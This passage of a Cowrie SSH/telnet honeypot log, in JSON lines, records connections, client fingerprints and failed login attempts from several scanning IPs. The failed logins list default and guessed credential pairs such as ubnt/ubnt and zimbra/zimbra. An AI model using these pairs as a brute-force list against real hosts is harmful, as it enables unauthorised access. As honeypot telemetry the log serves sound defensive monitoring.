"hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:52.054955Z","src_ip":"170.80.65.140","session":"c156590cb3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:52.257951Z","src_ip":"165.154.137.186","session":"c5c6b524e96b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"KS@gshyx@zl1651","message":"login attempt [root/KS@gshyx@zl1651] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:52.581944Z","src_ip":"170.80.65.140","session":"c156590cb3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:53.707659Z","src_ip":"170.80.65.140","session":"c156590cb3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":59426,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9eca862c4de","protocol":"ssh","message":"New connection: 165.154.137.186:59426 (10.17.0.5:22) [session: d9eca862c4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:56.850709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:56.854504Z","src_ip":"165.154.137.186","session":"d9eca862c4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:57.122904Z","src_ip":"165.154.137.186","session":"d9eca862c4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60368,"dst_ip":"159.203.135.109","dst_port":23,"session":"741daa03a442","protocol":"telnet","message":"New connection: 172.81.62.90:60368 (159.203.135.109:23) [session: 741daa03a442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:57.514245Z"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:57.932905Z","src_ip":"165.154.137.186","session":"d9eca862c4de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:59.361460Z","src_ip":"165.154.137.186","session":"d9eca862c4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53290,"dst_ip":"10.17.0.5","dst_port":22,"session":"03591b584f1e","protocol":"ssh","message":"New connection: 165.154.137.186:53290 (10.17.0.5:22) [session: 03591b584f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:15.779120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:15.783557Z","src_ip":"165.154.137.186","session":"03591b584f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:16.035631Z","src_ip":"165.154.137.186","session":"03591b584f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:16.795936Z","src_ip":"165.154.137.186","session":"03591b584f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:18.050125Z","src_ip":"165.154.137.186","session":"03591b584f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39420,"dst_ip":"10.17.0.5","dst_port":22,"session":"23321d521d20","protocol":"ssh","message":"New connection: 165.154.137.186:39420 (10.17.0.5:22) [session: 23321d521d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:20.756815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:20.761500Z","src_ip":"165.154.137.186","session":"23321d521d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:21.015343Z","src_ip":"165.154.137.186","session":"23321d521d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:21.778421Z","src_ip":"165.154.137.186","session":"23321d521d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:23.095064Z","src_ip":"165.154.137.186","session":"23321d521d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":47388,"dst_ip":"10.17.0.5","dst_port":22,"session":"0674c3466667","protocol":"ssh","message":"New connection: 103.216.145.2:47388 (10.17.0.5:22) [session: 0674c3466667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:23.753892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:23.758272Z","src_ip":"103.216.145.2","session":"0674c3466667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:23.953734Z","src_ip":"103.216.145.2","session":"0674c3466667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sally","password":"sally","message":"login attempt [sally/sally] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:24.772557Z","src_ip":"103.216.145.2","session":"0674c3466667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:25.971604Z","src_ip":"103.216.145.2","session":"0674c3466667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39438,"dst_ip":"10.17.0.5","dst_port":22,"session":"325d52f61359","protocol":"ssh","message":"New connection: 165.154.137.186:39438 (10.17.0.5:22) [session: 325d52f61359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:28.460725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:28.465686Z","src_ip":"165.154.137.186","session":"325d52f61359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:28.744116Z","src_ip":"165.154.137.186","session":"325d52f61359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:29.613926Z","src_ip":"165.154.137.186","session":"325d52f61359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:30.871231Z","src_ip":"165.154.137.186","session":"325d52f61359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.292417764663696,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:33.806552Z","src_ip":"172.81.62.90","session":"741daa03a442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43250,"dst_ip":"159.203.135.109","dst_port":23,"session":"f877de785ab5","protocol":"telnet","message":"New connection: 128.199.8.54:43250 (159.203.135.109:23) [session: f877de785ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:34.398057Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46548,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db59ea1cdf6","protocol":"telnet","message":"New connection: 172.81.62.90:46548 (10.17.0.5:23) [session: 1db59ea1cdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:42.126201Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58740,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e71cf27af12","protocol":"ssh","message":"New connection: 165.154.137.186:58740 (10.17.0.5:22) [session: 2e71cf27af12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:52.172482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:52.176468Z","src_ip":"165.154.137.186","session":"2e71cf27af12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:52.431860Z","src_ip":"165.154.137.186","session":"2e71cf27af12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:53.204530Z","src_ip":"165.154.137.186","session":"2e71cf27af12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:43:54.464569Z","src_ip":"165.154.137.186","session":"2e71cf27af12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":45036,"dst_ip":"10.17.0.5","dst_port":22,"session":"af8f4a10642a","protocol":"ssh","message":"New connection: 38.148.249.2:45036 (10.17.0.5:22) [session: af8f4a10642a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:11.416303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:11.420405Z","src_ip":"38.148.249.2","session":"af8f4a10642a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:11.489581Z","src_ip":"38.148.249.2","session":"af8f4a10642a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jmeter","password":"jmeter","message":"login attempt [jmeter/jmeter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:11.802440Z","src_ip":"38.148.249.2","session":"af8f4a10642a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:12.874715Z","src_ip":"38.148.249.2","session":"af8f4a10642a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.566150426864624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:21.692235Z","src_ip":"172.81.62.90","session":"1db59ea1cdf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34950,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de6241a1bc5","protocol":"ssh","message":"New connection: 165.154.137.186:34950 (10.17.0.5:22) [session: 3de6241a1bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:21.719260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:21.723058Z","src_ip":"165.154.137.186","session":"3de6241a1bc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2